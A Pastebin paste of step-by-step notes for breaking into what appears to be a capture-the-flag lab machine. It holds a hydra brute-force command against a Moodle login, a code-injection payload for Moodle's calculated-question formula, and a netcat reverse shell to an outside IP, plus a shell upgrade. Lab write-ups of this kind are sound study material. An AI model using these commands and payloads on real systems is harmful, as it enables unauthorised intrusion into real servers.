Advertisement
Guest User

incredibile

a guest
Feb 13th, 2019
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.97 KB | None | 0 0
  1. http://10.10.10.153/gallery.html
  2. Open browser console
  3. "That's an F" message appears in the console when you click on gallery section
  4. Inspect page to check where the message comes from
  5. <img src="images/5.png" onerror="console.log('That\'s an F');" alt="">
  6. wget 10.10.10.153/images/5.png
  7. cat 5.png
  8. "I forgot the last charachter of my password. The only part I remembered is Th4C00lTheacha."
  9. ./pass.sh > pass generate possible passwords
  10. hydra 10.10.10.153 http-form-post "/moodle/login/index.php:username=^USER^&password=^PASS^&Login=Login:Invalid login, please try again" -L user -P pass -t 20 -w 30 -o hydra-http-post-attack.tx
  11.  
  12. http://10.10.10.153/moodle/login/ login with credentials
  13. Turn on edits -> Add quiz -> edit quiz -> add calculated question -> insert the payload below payload in the formula
  14. /*{a*/`$_GET[0]`;//{x}}
  15. &0=(nc 10.10.18.168 8089 -e /bin/bash) add this line at the end of the URL
  16. python -c 'import pty; pty.spawn("/bin/bash")'
  17. su giovanni
  18. root@kali:~/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement